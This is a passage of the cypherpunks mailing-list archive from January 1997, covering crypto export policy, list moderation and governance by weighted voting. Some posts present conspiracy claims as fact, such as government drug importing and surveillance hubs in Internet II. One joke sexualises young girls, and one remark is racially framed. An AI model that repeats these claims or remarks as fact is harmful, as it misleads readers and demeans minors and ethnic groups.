it's citizen by illicit and/or dehumanizing means with Nazism and 
Fascism.

> If the people in those counties want to give away their freedom that
> is their business (and right), not mine, yours, or this countries unless
> there is evidence they are trying to take their views and impose them here.

  Right. And if someone 'chooses' to give their money to a thief with
a gun, then it is not the business of other people, or the police.
  I would hate to interfere with someones 'right' to get robbed,
raped, or murdered.
  
> In reference to Hitler, had he stayed in his own
> country WWII and the ensuing half century of conflict would most likely not
> have occured.

  But according to your viewpoint, countries he had not invaded had no
right to 'help' those he conquered.
  Perhaps Hitler was merely the Dr. Vulis of isolationism.  The 
isolationists' claims that the affairs of other countries were not
our affairs changed rather rapidly when it became apparent that they
had better either get their heads out of their butts, or learn to
speak German.

> I say, let them filter themselves into economic collapse, intellectual
> nihilism, and political suicide. Suicide, assissted or otherwise, is a right
> any and all individuals have whether acting as individuals or as groups.

  It seems that several million Jews got 'filtered' into 'nihilism'
during the Second World War while the isolationists were busy not
interfering with the rights of individuals in other nations to
commit 'suicide' at the hands of the Nazis.

> Never forget, a tree can exist without a forest but a forest can not exist
> without trees. It is a one way street however much some people may want to
> convince us otherwise.

  Never forget.  A forest can apparently exist without Jewish trees. 

> If those people agree to support a system that limits or controls what
> information they get to see that is their choice. It didn't work in Russia
> and it won't work in Singapore or China any better.

  There are a lot of people lying in graves around the world who might
suggest that perhaps they didn't support the system that limited,
controlled, and murdered them. They might also argue that it 'did'
work in many countries, for many years.

> >   No. The internet was conceived so that the DOD could monitor the
> > communications
> > of physicists and researchers who thought it was awfully nice of the
> > government
> > to provide this wonderful method of sharing data and information.
> 
> The original goal
> of the Internet was to allow computers to be connected in a nuclear conflict
> and the period afterward when communications would be most critical.

  I believe you mean the 'stated' original goal of the InterNet.
(Similar
to the 'stated' goal of crypto regulations.)
  A series of manuscripts entitled "The True Story of the InterNet"
expose
the shadowy faces behind the facade of the InterNet, and the plans,
during
its very inception, for it to become part of the underlying fabric of 
everyday life, internationally. They were almost considered to be
sci-fiction at the time they were written, because the InterNet, at the
time was just a smallish, specialized, technical entity at the time.
  The claims they made for the InterNet being foreordained to become 
almost exactly what it is now becoming were written off as ludicrous.

 
> One of the biggest problems this country has right now is the inability of
> people like yourself to differentiate the difference between the ideals of
> the country and the people who impliment it.

  You seem to have very strong feelings about people who think
differently
from yourself being a 'big problem'. 

> The problem is not the
> government or the ideals it was founded on but rather the way we impliment
> it.

  The battle cry of every apologist for every corrupt or jackboot regime 
that has ever existed on earth.
  Why do I never hear this view from anyone who is being censored,
persecuted,
or who can hear the jackboots thumping against their own door or their 
neighbor's door?  It always seems to come from someone who is getting
their
piece of the pie and is worried that it might end.

> Our government is people, who put their pants on the same way you or I
> do (assuming you wear pants that is). They are not inherently some mineon of
> Hell, they are people who in general either don't give a damn and it's just
> a job or else they really believe what they are doing.

  You might try reading something other than 'Life' magazines from the
1950's
if you want to get a little better picture of how our government really
operates.

> Accept and deal with your schizophrenic tendencies and help solve this
> national problem we face. Let's try to solve it now so that our
> grandchildren won't have to fight this fight again.

  I'm already working toward solving the problems that I see, in other 
countries as well as this one.  The people behind the Iron Curtain have
never seemed to have any problem with me risking my life and liberty 
making prohibited information available to them.


   "I can hear the rumbling of the trucks as they come up the street, 
and soon I will be hearing the thumping of the jackboots storming up 
the staircase, as I have heard them so many times before.  But I 
suspect that, this time, the sound will be different, that it will 
have an ethereal quality about it, one which conveys greater personal 
meaning than it did when I heard it on previous occasions.
   "This time, they are coming for me."

   "My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there 
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others.
   "The question is, in retrospect, as simple and basic as it is 
essential for any who still espouse the concepts of freedom and 
liberty to ask themselves upon finding themselves marveling at 
the outrageousness being perpetrated upon their neighbors by 
'them'...by 'others'...by 'Friends of the Destroyer.'
   "The question is...'Why didn't "I" do something?'"

      A quote from the personal diary of Vice-Admiral B. D'Shauneaux,
      from the Prologue to Part II of 'The True Story of the InterNet'

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 06:26:28 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: Decision in Karn Case
Message-ID: <199701231426.GAA15706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> >     In light of the recent Executive Order transferring
> > regulatory authority of non-military cryptographic computer
> > source code to the Commerce Department, and the Commerce
> > Department's promulgation of a new regulation under the authority
> > of the International Emergency Economic Powers Act, 50 U.S.C. secs.
> > 1701 et seq., we remand this case to the district court to
> > consider the reviewability of and, if appropriate, the merits of
> > appellant's claim under the Administrative Procedure Act.
> 
> And when that review finally reaches the appeals court,
> the administration can move the regulations to the state department.

  Look on the bright side. Maybe they'll move them around so much that
they'll lose them.
 
> The uniqueness of the anti-crypto regulations is that it is a law
> against intellectuals and academics. These people will not be willing to
> break the law and then challenge its constitutionality in the courts,
> or engage in any kind of civil disobedience demonstration.

  That is why the thugs and the brown-shirts always start by attacking
scattered individuals and those they can easily brand 'troublemakers.'
(Only in rare instances, do they start with Doctors).
  The intellectuals and academics might, at best, utter a few tut-tut's,
and by the time that the rule of force has become the order of the day,
there is no longer anyone 'below' them left free to object to the
attacks 
on themselves.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:40:46 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: JUSTICE: foolish confrontations therewith
Message-ID: <199701230640.WAA06717@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        Looks to me like Carl needs to understand justice, U.S. federal 
    court style. In the first place: "ignorance is no excuse under the 
    law" -then: ask yourself why the U.S. continues the drug war when 
    it is obvious to the perverted, ignorant, and bought-off Congress- 
    person that it will never be won. the answer is simple: it's MONEY. 

        First, the government makes a fortune by importing drugs, which 
    they can use for unaccountable programs which are illegal under 
    law. The money is controlled by the CIA, administration, and the 
    power brokers in the deal which basically states it all; and, 
    secondly, there is money in imprisonment. Oh? so then ask yourself 
    why the federal prisons have tripled in size the last 10 years with 
    the dope wars.  coincidental?

        now, what does that have to do with crypto?  very simple: as 
    the US heads closer and closer to the UN Constitution under Bubba's 
    guidance with Hillary's hands on his balls, crypto can bypass 
    political thought control.  That will not be acceptable to those 
    who rule: in the US, or anywhere else.

        "Intimidation is just another form of communication."  (attila)

    and they have intimidated federal judges, and they are intimidating 
    federal judges, and they will continue to intimdate federal judges. 
    and, they will continue to feed the media what they want known.

        so, what does that have to do with it?

        a)  the federal government is disenfranchising felons with
            certain types of convictions, including drugs, and all
            offenses against the federal government --cryptography
            is an offense against the federal government since it
            falls under ITAR.

            do you know what disenfranchisement really means: well,
            start with fact you have lost your civil rights --ALL of 
            them. the man never needs a warrant to take you, anywhere. 
            anyplace, including your home without knocking --he has 
            automatic probable cause.

            all federal convictions of the type described carry a tail 
            --extended probation. in other words, a sadistic, sadonic, 
            and automatically suspicious federal civil servant OWNS 
            you. He can visit your employer; he can tell you exactly 
            how to run your business if you are self-employed; he can 
            tell you if you can move; he can tell you who you will see 
            or talk with; and if tells you to polish his apple, get on 
            your knees and smile while you labour. 

        b)  no vote --that is the principle meaning of franchise which 
            is defined as "suffrage."  you are history on that score 
            unless you manage to convince Bubba to grant you a federal 
            pardon.

        c)  the federal govenment, through one of their federal money 
            giveaways is forcing the criminal records onto the drivers' 
            license.  So far, no state has a check box on the sealed 
            photo ID, but they will, including a coded offense block.

        d)  now, the big credit bureaus, TRW, Equifax, etc. have added 
            the collection of data for traffic convictions; so far they 
            have not added either misdemeanor and felony >>arrests<< 
            and convictions to the _available_ information, but they 
            will.  Did you know that you can have a 3 or 4 page rap 
            sheet for a single arrest/offense/conviction by the time 
            they rewrite charges, which is common in, you guessed it: 
            dope cases, and propably will be in crypto cases as the 
            Federales discover more evidence (planted, decoded, 
            whatever?).

        e)  You know, I'm beginning to like Mississippi's statutory 
            rape laws better all the time.  The age is 18, as high it 
            goes in all 50 states --but it only applies if the minor 
            female is over 12 and can prove she is a virgin...  yeah, 
            right, where the only virgin over eight can run faster than 
            her brothers...

        e)  prisons are big business; and, government has undertaken a
            program of privatization of the prison system --in other 
            words, the big government oriented contractors, like SAIC 
            chaired by Bobby Inman, are planning to make a profit 
            housing government misjustice. do they like to make money?

            does this sound like slave labour to you? 

            sounds like government 'letting' of business. P.J. O'Rourke 
            has the definitive result of that:   
   
                "When buying and selling are controlled by legislation, 
                the first things to be bought and sold are legislators"  

        well, I'm too old for the civil disobedience game or deliberately begging the law; I do not wish to head for the 3 hots ad a cot of federal hospitality wearing more years than I can carry. 

        but you'd better believe and if you wish to even try to beat 
    the government back, don't think you have any rights in America.  Just remember Judge Roy Bean is sitting in his large $1,500-2,000 comforatable chair about a meter above you, smiling down on you as you sit in the hard, cold, flimsy chair of the dock, after our esteemed judge got drunk last night with his cronies.  

After all, Judge Roy, who's only human, suffers from an inferiority complex, and needs a power rush. And after this poor excuse for a human lays 3 fives running wild (15) and 6 tail on you, try smiling at the judge; then say: "thank you your honor, but you're just another fuckin' drunk." 

  == <attila out>

    ====== ORIGINAL MESSAGE ======

In <32C27B88.558@sk.sympatico.ca>, on 12/26/96 
   at 05:20 AM, Carl Johnson <toto@sk.sympatico.ca> said:

::jim bell wrote:
::> 
::> However, if being "on the Internet" is automatically presumed to be 
::> an export, why can't we program using remote-control editors which 
::> might, someday, be available on the Internet? 

::  If I wanted to export an unexportable program, I would put it on my 
::  machine as 'happyface.zip', and then make sure that everybody 
::  spread the word that it was available under that title.  I don't 
::  believe there is a prosecutor alive that can convince a jury of
::  twelve mostly non-technically oriented people that someone should 
::  be put in prison for not knowing the content of every single 
::  non-text file on their machine.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:40:41 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: seeds of our own destruction
Message-ID: <199701230640.WAA06709@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        the pieces of our own destruction by a universal government of 
    a few are all there, many fully documented as bits and pieces; 
    someone who does not have a well known interest in the conspiracy 
    groups to prevent the press from thundering "conspiracy theory" 
    needs to compile a graphical presentation for the monkeys. 

        good luck trying to deliver the message to joe couch potato. 
    the controlled media networks would never sell you time.

        It is not so much a conspiracy as it is separate, or even UN, 
    groups, working for their own interests --who has the stick?--  

        Unfortunately, too many of them have overlapped by their common 
    need for a common army, a common taxation system (obviously not 
    balanced by equity) and the right to non-representative taxation 
    after they destroy freedom of speech/privacy and take away the 
    hardware.  worse than middle period Marx utopian liberated 
    socialism!  

        The UN's _printed_ statement of the conclusion of the wealth 
    distribution was a UN tax authority to redistribute the 
    wealth.... 

        What intrigues me the most is that even the very rich can not
    survive in the cesspool they will create.  there will be no 
    distinguished caste, no educated caste, etc. You will see the 
    attitude with just barely educated type administrators who will say: 
    "gifted?" Or, she can fend for herself, and eventually just sending 
    the gifted child off to the vegatable farm.  

        Despite all the utopian talk about social order, politically 
    correct unisex, socialism will never deliver enough exceptional 
    individuals to be able to povide all the pyschologists and social 
    workers they envision.

        Obviously, the fact the white man is probably less than 15% of 
    the total population and has over 80% of the industrial wealth tells 
    you where it starts.  The UN is talking about master agricultual 
    product control warehousing and distribution.

        If 20% of the population is well fed, does that include the US, 
    Canada, Russia (that's a joke), and the grain producing areas of the 
    world?   or will the white man be just part of the rest --hungry?


  ==
    Tyranny Insurance by Colt Manufacturing Co.

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zcBo1zfXRCk=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 23 Jan 1997 06:27:13 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: at least we have some friends...
Message-ID: <199701231427.GAA15763@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

+New encryption bill on way
+By Alex Lash	
+January 22, 1997, 8:45 p.m. PT
+see http://www.news.com/News/Item/0%2C4%2C7236%2C00.html?nd

+Sen. Conrad Burns (R-Montana) next week will reintroduce legislation 
+aimed at wiping out most Commerce Department restrictions on the 
+export of software encryption, his press secretary said today.

+The new version of the so-called Pro-Code bill, which died in the 
+Senate Commerce Committee last year after a series of high-profile 
+hearings, will be unchanged and should have the same support it 
+gained in the 1996 session, Burns's press secretary Matt Raymond said.
+"The language was not something that was arrived at lightly," Raymond 
+said. "We should have time for a more robust and considerate debate" 
+compared with last year's unsuccessful rush to get the bill passed, 
+he added.

+Burns, a leading figure on the Senate Commerce Committee, is set to 
+appear via satellite Tuesday at the RSA Data Security Conference in 
+San Francisco to announce the bill's reintroduction.

+Foes of the Clinton administration's current encryption regulations, 
+which became effective on January 1, are looking for Congress to 
+legislate more liberal export guildelines. Last year, the Pro-Code 
+bill won the support of many key members of Congress  who remain in 
+office and want to modify Clinton's encryption plan.

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Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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1vro9FplgIw=
=ktMy
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 23 Jan 1997 06:29:49 -0800 (PST)
To: Carl Ellison <cme@cybercash.com>
Subject: Re: P.S. David Kahn's editorial today
Message-ID: <199701231429.GAA15847@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Carl Ellison wrote:

| I just sent the following P.S. to newsday.com
| 			----------------------
| 
| If I use an AT&T Clipper-style cellular phone, as David suggested, and I
| call you on a normal wired phone, we can't encrypt the conversation and it
| is vulnerable to interception.  The protection works *only* if both parties
| have encrypting phones while interoperate.

	Its worth thinking about multiple layers of protection for a
datastream.  The end to end encryption issue is seperate from the
issue of mobile to base encryption (and mobile to base authentication,
for that matter.)  Compute power is getting cheap enough that doing
both seems roughly feasable to me.

	Multiple protective layers is also nice in an environment
where theres policy checking going on, ie, a firewall.  SSL only gets
plugged through a firewall because it can't be partially unwrapped.  I
can't proxy in any meaningful sense.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 23 Jan 1997 08:10:36 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701231610.IAA18740@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Thorn:
> > Alec wrote:
> > The idea that "sin" and "evil" are abstract and somewhat arbitrary is
> > merely a human (and therefore faulty) perception.
> > If God can be perfect by definition (for sake of argument), then "sin"

> Somewhere in the above three lines, someone is making a hell of an
> asumption. See also "The Euthphro Question", plato.

Humans do OK with simple issues, example: 1 + 1 = 2.  Especially true
if the issue has no inherent moral/ethical tie-in.  Once you get past
the simple, however, you start seeing motivation, personal imperative,
etc., which leads to hidden agendas and lies.  When I speak of God,
I'm not surrendering any personal power, or subscribing to your God
concept necessarily (e.g. Plato), I'm just defining an object of
pure reason that is free of human self-interest, for sake of argument.

> > A gentleman wrote to Southern Partisan magazine a few years ago and
> > said "Real freedom is not the license to do whatever you want, but
> > rather the liberty to do what you ought to do".

> No, real freedom is being able to decide for yourself what you ought to
> do--or--who the hell decides what I ought to do?

My example shows that real freedom goes hand-in-hand with
responsibility.
A person could interpret my example in a way that "what you ought to do"
is defined and controlled by external parties, but that was not my point
or the point of the original author.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 06:26:18 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701231426.GAA15704@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thorn:
> Alec wrote:
> The idea that "sin" and "evil" are abstract and somewhat arbitrary is
> merely a human (and therefore faulty) perception.
> If God can be perfect by definition (for sake of argument), then "sin"

     Somewhere in the above three lines, someone is making a hell of an
asumption. See also "The Euthphro Question", plato.

> A gentleman wrote to Southern Partisan magazine a few years ago and
> said "Real freedom is not the license to do whatever you want, but
> rather the liberty to do what you ought to do".

     No, real freedom is being able to decide for yourself what you ought to
do--or--who the hell decides what I ought to do?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 06:25:54 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <199701231425.GAA15636@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I am looking for a transparent (strong) encryption of ZIP drives. Any advice would be appreciated.
> 
     For which OS, and SCSI or Parallel version?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 23 Jan 1997 10:01:46 -0800 (PST)
To: "'Attila T. Hun'" <attila@primenet.com>
Subject: RE: greed and the internet
Message-ID: <199701231801.KAA21582@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Will you send some references for Internet II and the government hubs?
	Thx, Internaut

----------
From: 	Attila T. Hun[SMTP:attila@primenet.com]
Sent: 	Wednesday, January 22, 1997 08.32 PM
To: 	cypherpunks
Subject: 	greed and the internet

-----BEGIN PGP SIGNED MESSAGE-----

    greed and the internet

        our network provider (MCI) has been gradually burying our T1 
    trunk and the effective feed has been reduced to 1200 baud from 
    1.56 Megabaud; that, and add 20 seconds to 5+ minutes of packet 
    hold, and it is now worthless. they claim they will have increased
    capacity, but there are no pressing big money commercial interests
    on this feeder --so when?  

        Problem is not just here --everywhere; the greedy commercial 
    bastards have oversold their network space intentionally as they 
    are bucking for per packet and timed usage charges which are 
    currently prohibited by the FCC and the state PUCs. The FCC is the 
    key since other than the local network, which is burdened with the 
    costs of the trunk, everything is regulated by the FCC which is 
    trying to totally eliminate the state PUCs in the 105th Congress,     
    Newt's mouth not withstanding.

        The FCC agreed to review the matter, capitulating to 
    big greed interests, which will make the Internet a rich man's 
    toy. $19.95/month plus access charges will increase to thousands 
    of dollars per month; slow networks make toast of the free hours 
    and overtime kills.  Without the creative input of the multitude, 
    there will be no content, so why have a net other than for 
    commercial purposes? suites the misinformation cabal just fine.

	Well, the FCC granted a reprieve --for the moment. but will
    come up again, and again, until it passes.

        The Internet will no no longer be the peoples net, and the 
    commercial greedies are establishing a faster, more secure 
    network with controlled access points; leaving the common man's 
    access in the mud, still paying the exorbitant rates on a pay 
    before play basis.  That, and it gives control of information to 
    the government --which, as we all know. is 'heavenly white' 
    -above sin.

        Universities are being bought off with the 'Internet II' 
    proposal which provides super trunks of over 600 Megabaud 
    capacity, a 400 times improvement. All of this feeds into five 
    stategically placed super-hubs where Uncle's shadow government can 
    monitor everything.

        The Internet was supposed to be our freedom: freedom of 
    information and government in the sunshine, but government is 
    proving it is still bigger, faster, and badder by using draconian 
    rules of illegal regulatory agencies. agencies which are usurping 
    rights limited to the legislative branch.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 23 Jan 1997 09:12:10 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: [Noise] From The Onion
Message-ID: <199701231712.JAA20354@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



SATAN TO REVISE BAR CODE SYSTEM 

NEW YORK--Responding to retailers' calls to "streamline the Mark of
the Beast," Satan announced plans Monday to make significant changes
in the UPC symbol by the end of the millenium.  "All men, small and
great, rich and poor, slave and free, shall bear the mark of the
beast," Satan said. The mark, "666," now hidden in every UPC symbol,
may be more effective if taken off products and burned directly onto
consumers' foreheads or hands, according to The Father of Lies. Said
National Reserve Board Chairman Alan Greenspan: "As foretold in the
Book of Revelations, it shall come to pass that no man shall be able
to buy or sell without the Mark of the Beast." The new bar code system
will be introduced through a series of televised public-service
announcements featuring Friends star Matthew Perry and Satan, who will
appear as a beast with seven heads and ten horns.

http://www.theonion.com/onion3102/index3102.html


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 23 Jan 1997 11:41:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Dimitri??
Message-ID: <199701231941.LAA24236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


I have noticed that there has not been any post from Dimitri in a couple of
days.

I am assuming that this means that the list moderation has now started?

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.

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Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 23 Jan 1997 14:32:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <199701232232.OAA28577@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:20 PM 1/23/97 +1100, proff@suburbia.net wrote:
...
>The catch is that positive votes are inherently more valuable than
>negative votes, since to obstruct progress requires a number of votes
>equal to the outstanding proposals, but to move forward a proposal only
>requires a number of votes equal to the proposal.  Blind obstructionism
>(and blind advocacy) are uneconomical.  That's the point of having
>more than one vote to potentially spend on an issue, with potentially
>more issues than you can vote on all of them.  You will have to pick
>you battles carefully if you want to avoid being lost in the noise.
>
Here you risk the media controlling the vote even better.  First they push a
tearjerker proposal early in the year to swallow up all of the votes, then
they ask for special interest legislation to protect their respective
monopolies on grounds of ecology, (one paper means more trees, one TV
station means clearer communication, etc.)


...
>For reciprocity, it's possible to charge off percentages in the
>win/lose case to bias the power concentration: if your side wins, it
>costs you one less token then you voted, etc..  Again, initial
>bylaws are established through constitution provision: "we have the
>power that is being shared, therefore, these are the weights".
>
...
This prompts people to vote with who they think will win as opposed to how
they feel.  In this case the media shows numerous charts showing a pending
landslide in thier favor.  What do you know, everyone voted in favor of the
media just to recycle votes.

...
>Heh.  I was thinking more in terms of its value as a cascade trigger
>to increasingly complex social organisms in the Internet implementation
>space.  Representational democracies (republics, really) came about
>because of rate limits on communication.  The US could not elect a
>president by popular vote because there were no methods of verification,
>and communication rates were limited by travel time.  Therefore, the
>US has an Electoral College.  But a side effect of this structure is
>a bias for bipartite seperation of interests, instead of seperation
>into as many interest groups as it takes to do the job of mapping the
>interest space.  This bias is not removed because the bipartite
>interests have (and must continue to have) the power concentration.
>This leads to continued "wasted vote syndrome", where people vote
>for the lesser of two evils instead of voting their conscience... an
>effect of mass psychology.  Similar pressures prevent the polling
>times from being changed to opening at 8am EST and closing at 8am EST
>to prevent early returns from earlier time zones influencing the
>outcome of elections before people in later time zones have even voted.
>For example, Ross Perot got almost 20% of the vote in the 1992
>election, but 0% of the electors.  He would still have lost, given
>the actual values.  There is actually a case in US history where the
>winner of the electoral vote lost the popular vote... the president
>was not chosen by the people, but by the electors.
...

Actually, our founding fathers thought that the people were morons, a
reasonable assumption since news carried so slowly and most people were more
worried about how to survive the winter than how to read.

...

>Yep.  The reason I went weighted, by the way, was the volunteer
>nature of the project.  In theory, number of vote tokens spent
>should be proportional to willingness to actually volunteer.  As
>you point out, there could be feedback here as well: for instance,
>if a proposal passes, if it is completed, the tokens spent on
>the vote could be refunded to those who voted for it.  If it dies
>on the vine, the tokens could be refunded to those who voted
>against it.  Being right would give you more license to participate,
>and being wrong would not, etc..  Again, a matter for the initial
>bylaws.
...

Not being right, just agreeing with the concensus.  Remember that most of
the Germans eventually agreed with Hitler, that did not make them right.

By the way, the general populus is still mostly morons.  Even with a higher
literacy rate.  Most of them seem to use it to read the National Enquirer
and Hollywood based publications.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 23 Jan 1997 13:56:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: greed and the internet
Message-ID: <199701232156.NAA27696@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Internaut wrote:
> 
> Will you send some references for Internet II and the government hubs?

There is a www.internet2.edu

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Thu, 23 Jan 1997 18:01:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: THE NEW YORKER on the V-Chip
Message-ID: <199701240201.SAA03868@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
Malcolm Gladwell, makes a powerful arguement about the unintended
consequences of the V-Chip, the programmable device to be included in
next-generation television sets sold in the US that supposedly will
allow parents to control their children's access to sex and violence on
TV.

Gladwell makes an analogy between V-Chipped TV content and
air-conditioned cars in the New York City subway system in summertime:
" . . . we need air-conditioners on subway cars because air-conditioners
on subway cars have made stations so hot that subway cars need to be
air-conditioned."  Similarly, he argues, "the V-chip is likely to
increase the amount of sex and violence on television, not decrease it"
because when viewers can block offensive programming, there is far less
pressure on broadcasters and cable operators to avoid offending.

This is just the sort of thing that John Young is given to scanning and
putting up on his Web site or sending out to people who send him email
with FUN_nie subject lines.  If I were him, I'd put it up.

And, for the benefit of those people who don't think the V-Chip isn't in
itself on-topic for cypherpunks, I might point out that Gladwell's
argument applies equally well to mail filtering with procmail recipes --
or Sandy's and John's list moderation experiment.  If the noise level on
the unmoderated list jumps to even higher than we were seeing before
the moderation began, that would provide observational support to
Gladwell's argument.

-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance. 
news:alt.grelb             |      Jean Genet 
http://www.alumni.caltech.edu/~abostick






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Wed, 22 Jan 1997 22:40:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <199701230640.WAA06727@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From terry@lambert.org Thu Jan 23 00:20:21 1997
Return-Path: <terry@lambert.org>
Delivered-To: proff@suburbia.net
Received: (qmail 11676 invoked from network); 23 Jan 1997 00:20:09 -0000
Received: from phaeton.artisoft.com (198.17.250.211)
  by suburbia.net with SMTP; 23 Jan 1997 00:20:09 -0000
Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA22488; Wed, 22 Jan 1997 17:04:17 -0700
From: Terry Lambert <terry@lambert.org>
Message-Id: <199701230004.RAA22488@phaeton.artisoft.com>
Subject: Re: Commerical applications (was: Development and validation
To: proff@suburbia.net
Date: Wed, 22 Jan 1997 17:04:17 -0700 (MST)
Cc: nate@mt.sri.com, terry@lambert.org, chuckr@glue.umd.edu,
        hackers@freebsd.org
In-Reply-To: <19970122141820.16633.qmail@suburbia.net> from "proff@suburbia.net" at Jan 23, 97 01:18:20 am
X-Mailer: ELM [version 2.4 PL24]
Content-Length:  6273

> > Terry Lambert writes:
> > > > > A weighted democracy would be one open-ended growth solution, as
> > > > > long as parametric changes could be made within the system.  I have
> > > > > suggested this before.  A trivial napkin drawing version:
> > > > 
> 
> I have doubts about such a system. How are the weights chosen?

By core team fiat.  It is they who will be giving up power, it is they
who have the power to enforce initial disbursement.  After that, it
*should* be metastable.  If it isn't, it can be reigned in.

> 	- Should all weights be votable - dynamically adjusted according
> 	  to votes * current weights?

This one: yes.

> 	- Which is more stable? w1+w2+w3+w4=1 or w1*w2*w3*w4*w5=1?

+, if we are talking probabilities applied to strange attractors.

> 	- How a new weights created?

Constitutionally, there must be a method for doing this within the
system.  Mostly, the weight values are the time rate accumulation vs.
the spend rate on voting issues.  If you are actively positive, you
affect change; the stronger you feel about something, the more likely
you are to code it (which every direction the strength of your feeling
goes.

The catch is that positive votes are inherently more valuable than
negative votes, since to obstruct progress requires a number of votes
equal to the outstanding proposals, but to move forward a proposal only
requires a number of votes equal to the proposal.  Blind obstructionism
(and blind advocacy) are uneconomical.  That's the point of having
more than one vote to potentially spend on an issue, with potentially
more issues than you can vote on all of them.  You will have to pick
you battles carefully if you want to avoid being lost in the noise.


> 	- How does one prevent factional deal making?

It won't, really, if there are places for deals to be made, and there
are accurate vote tallys published (promoting last minute bid frenzies,
auction-like behaviour).

> 	- Should weights decline over time in the same manner as
> 	  an infinitely trainable adaptive neural network?

There is a limit on the amount of weight you can throw around in a
given time because of the high water mark on the number of tokens it's
possible to build up on account.  Again, you have to pick your battles
or you will be lost in the noise.

> What about retrospectivity? On the one hand you entrench a
> pre-democratic feudal power structure and end up like Mandela's
> South Africa; a constitutionally reformed non-racially discriminatory
> capitalist society in which the blacks have all the votes, but
> the whites have all the capital. On the other (FreeBSD) hand the
> whites did all the work.

In the abstract, if you are willing to do the work, you are more
likely to throw three votes than one for a given topic.  If you are
just being obstructioninst, you will likely throw only one vote so
that you can keep being obstructionist later.

For reciprocity, it's possible to charge off percentages in the
win/lose case to bias the power concentration: if your side wins, it
costs you one less token then you voted, etc..  Again, initial
bylaws are established through constitution provision: "we have the
power that is being shared, therefore, these are the weights".


> Certainly a very interesting social engineering experiment; there
> is room here for long excursions into probability theory, game
> theory, cryptographic voting protocols (extending to protocols
